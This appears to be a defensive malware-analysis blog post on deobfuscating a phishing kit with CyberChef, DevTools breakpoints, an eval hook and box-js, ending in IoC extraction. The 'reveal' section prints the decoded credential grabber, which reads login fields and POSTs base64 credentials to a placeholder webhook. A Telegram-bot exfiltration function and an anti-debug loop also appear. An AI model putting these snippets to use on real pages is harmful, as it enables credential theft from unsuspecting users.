Deobfuscating a Phishing Kit: A Debugging Walkthrough
Introduction
Someone hands you a folder with a phishing page in it: an index.php, an
assets/ directory, and one JavaScript file that is 700 kilobytes on a single line. This
is what pass-the-mess looks like in 2024. In this post I walk through exactly how I pull one of
these apart, from the minified blob down to the exfiltration webhook, showing the decisions and the
debug steps at each layer.
Scope and safety
Analyzed in an isolated environment with no network egress until explicitly allowed. The sample is anonymized: live payload URLs and tokens are redacted or replaced with placeholders. This is defensive analysis for detection and takedown, not an instruction manual.
The kit at a glance
Before touching the code, fix in your head what the kit is trying to do. A login-page phishing kit of this era is a small multi-stage pipeline:
Visitor --> index.php --> traffic filter (bot/blocklist check)
|
v
branded login shell (cloned Office/Google page)
|
v
obfuscated JS hooks the form (keystroke + submit)
|
v
exfil: credentials POSTed to webhook / Telegram bot / panel
|
v
victim redirected to the real login (looks like a logout)
| Layer | Purpose | Where the interesting code hides |
|---|---|---|
| Traffic filter | Keep researchers and scanners out | Server side (PHP/Cloudflare challenge), not in the JS at all |
| Brand shell | Render a convincing login | Static HTML + images, mostly benign to read |
| Credential hook | Grab username and password | Obfuscated JS, this is the target |
| Exfil | Ship creds to the operator | Inside the same blob, one fetch away |
Recon: reading the mess
Step one is classification. Drop the file into an editor, and look at its skeleton. If it starts with a huge string array plus an immediately invoked function that shuffles it, you are looking at the output pattern of javascript-obfuscator. That single observation tells you 80 percent of the road ahead: there is no packed VM, just layered encoding on top of ordinary DOM operations.
Second step: make it readable. Prettify with beautifier.io or any JS formatter. A 700 KB single line becomes a few thousand structured ones, and strings that were invisible in the minified soup become greppable.
Static peeling: encodings first
The cheapest wins come first, and the cheapest wins are the base encodings. Three patterns cover most of what you will see, and all three decode with CyberChef:
| Pattern | Decode with |
|---|---|
'\x68\x74\x74\x70\x73\x3a\x2f\x2f' |
CyberChef "From Hex", and note: each \xNN pair is one character. The example
decodes to https:// |
String.fromCharCode([104,116,116,112,...]) |
CyberChef "From Decimal" (comma separated) |
atob('...') / eval(atob(...)) |
CyberChef "From Base64" (alphabet A-Z a-z 0-9 +/) |
Real example from the sample, a host rebuilt from a char code array:
var a = [104,116,116,112,115,58,47,47,
101,118,105,108,46,101,120,97,109,112,108,101,46,99,111,109];
var host = String.fromCharCode.apply(null, a);
// => https://evil.example.com
And the classic one-liner every analyst should be able to read instantly:
eval(atob('YWxlcnQoMSk='));
// atob('YWxlcnQoMSk=') === 'alert(1)'
The string array rotation trick
Now the part that looks scary and is not. javascript-obfuscator's signature is a string array that gets rotated by a small shuffler before any code runs. The essential pattern:
var _0x1f4a = ['https://', 'getElementById', 'value', 'href'];
(function (_a, _b) {
var _c = function (_d) {
while (--_d) { _a['push'](_a['shift']()); } // rotate the array left
};
_c(++_b);
}(_0x1f4a, 0x1)); // 1 rotation in this toy version
// after rotation: ['getElementById', 'value', 'href', 'https://']
In a real kit the rotation count is a six digit number and the accessor function wraps every string lookup in arithmetic. Two ways to defeat this cleanly:
- Evaluate, do not read. In the browser console, paste the array, the rotator and
nothing else, run it, then inspect
_0x1f4a. You now have the fully resolved string table without decoding a single index by hand. - Break after the rotator. Set a breakpoint on the first line after the shuffler IIFE and read the array from the scope pane in DevTools.
With the string table resolved, phrases like getElementById,
addEventListener and base64 blobs stop being noise and start being a map of what the
script touches.
Dynamic debugging: making it talk
Static peeling gets you to the inner payload. Dynamic debugging gets you through it. My standard
harness when the code calls eval on computed strings:
const original = window.eval;
window.eval = function (src) {
console.log('[eval]', String(src).slice(0, 300));
return original(src);
};
Load the page with that override injected first, and every decoded stage prints itself. The same
wrapper works for atob when you want to watch decodings as they happen. Then the three
DevTools features that do the serious work:
- XHR/fetch breakpoints. In Sources, add a breakpoint for any URL containing nothing. It fires on every outbound request, with a call stack showing exactly which function initiated the exfil.
- DOM breakpoints. Right click the username field, break on attribute modifications. When the kit sets a listener or clones the form, you land in the handler.
- Event listener breakpoints. Break on
submitto catch the credential grabber the moment a test login goes through.
The anti-debug trap
Kits of this era often ship an irritant designed to punish DevTools users. You will recognize it when your debugger suddenly fills with pauses:
setInterval(function () {
var t = Date.now();
while (Date.now() - t < 50) { debugger; }
}, 200);
Mechanics: without a debugger attached, debugger statements are ignored and the loop
spins for 50 milliseconds, harmless. With DevTools open, each statement pauses execution, and the
interval re-arms it forever. The professional response is unglamorous: in Sources, click the
"Deactivate breakpoints" button so the pause-on-debugger-statement behavior is off, and continue.
You lose nothing except the annoyance.
The reveal: exfil in the clear
After peeling, the grabber in this sample reduced to about fifteen readable lines. This is the anonymized shape of it:
// hooking the form on submit (field ids typical for cloned
// Microsoft login pages of this era, e.g. the email box "i0116")
var email = document.getElementById('i0116').value;
var pass = document.getElementById('i0118').value;
fetch('https://hook.example.com/<uuid>', {
method: 'POST',
body: btoa(email + ':' + pass)
}).finally(function () {
window.location.href = 'https://login.live.com/';
});
The Telegram variant of the same idea, which showed up in the sample's second-stage payload, is one HTTP call against the bot API:
function send(creds) {
fetch('https://api.telegram.org/bot<redacted>/sendMessage', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: '<redacted>', text: creds })
});
}
Notice the shape of it as a detection signature, because this is what defenders should hunt for: base64 of a colon joined pair, POSTed cross origin from a page whose domain looks like a login portal, immediately followed by a redirect to the genuine provider.
What this class of kit does next
The sample in this post is the classic single-stage credential grabber, but the same debugging workflow generalizes to the nastier cousins that dominated reports in early 2024. Adversary in the middle (AiTM) kits such as the ones documented by Sekoia ("Mamba 2FA") and Lookout ("CryptoChameleon") relay the live session behind a reverse proxy, so the stolen artifact is not just a password but a session cookie that defeats 2FA. The JS still looks the same: obfuscation, string arrays, and a fetch you did not authorize.
If the kit is not native browser JavaScript at all but a Windows Script Host .wsf or
.js attachment (the email attachment style of phishing), the right tool is box-js, which emulates a Windows JScript environment and logs every
URL the script touches:
npm install box-js --global
box-js sample.js --download --output-dir out
# results land in out/sample.js.results/:
# urls.json every URL contacted
# active_urls.json URLs that dropped executable payloads
# snippets.json decoded code stages
# IOC.json behaviors flagged as indicators
Extracting IoCs
Convert the analysis into shareable indicators. From a single kit page you can usually pull:
| Artifact | Where it came from in this sample |
|---|---|
| Exfil endpoints | the fetch targets, post decode |
| Bot tokens / webhook UUIDs | URL path parameters of the exfil calls |
| Referred domain | the evasive redirect target at the end |
| Form field bindings | getElementById arguments after string resolution |
| Obfuscator fingerprints | string array + rotation IIFE signature |
Takeaways
- Most kit "obfuscation" is encodings and one array shuffle. Expensive-looking, cheap to undo.
- Decode statically what you can, then hook
evaland break on fetch. The code will decrypt itself for you. - Anti-debug
debuggertraps are noise, not a barrier: deactivate breakpoints and keep going. - The finish line of every analysis is a signature, not a screenshot: exfil pattern, IoCs, and a detection idea that survives until the next kit rebrands.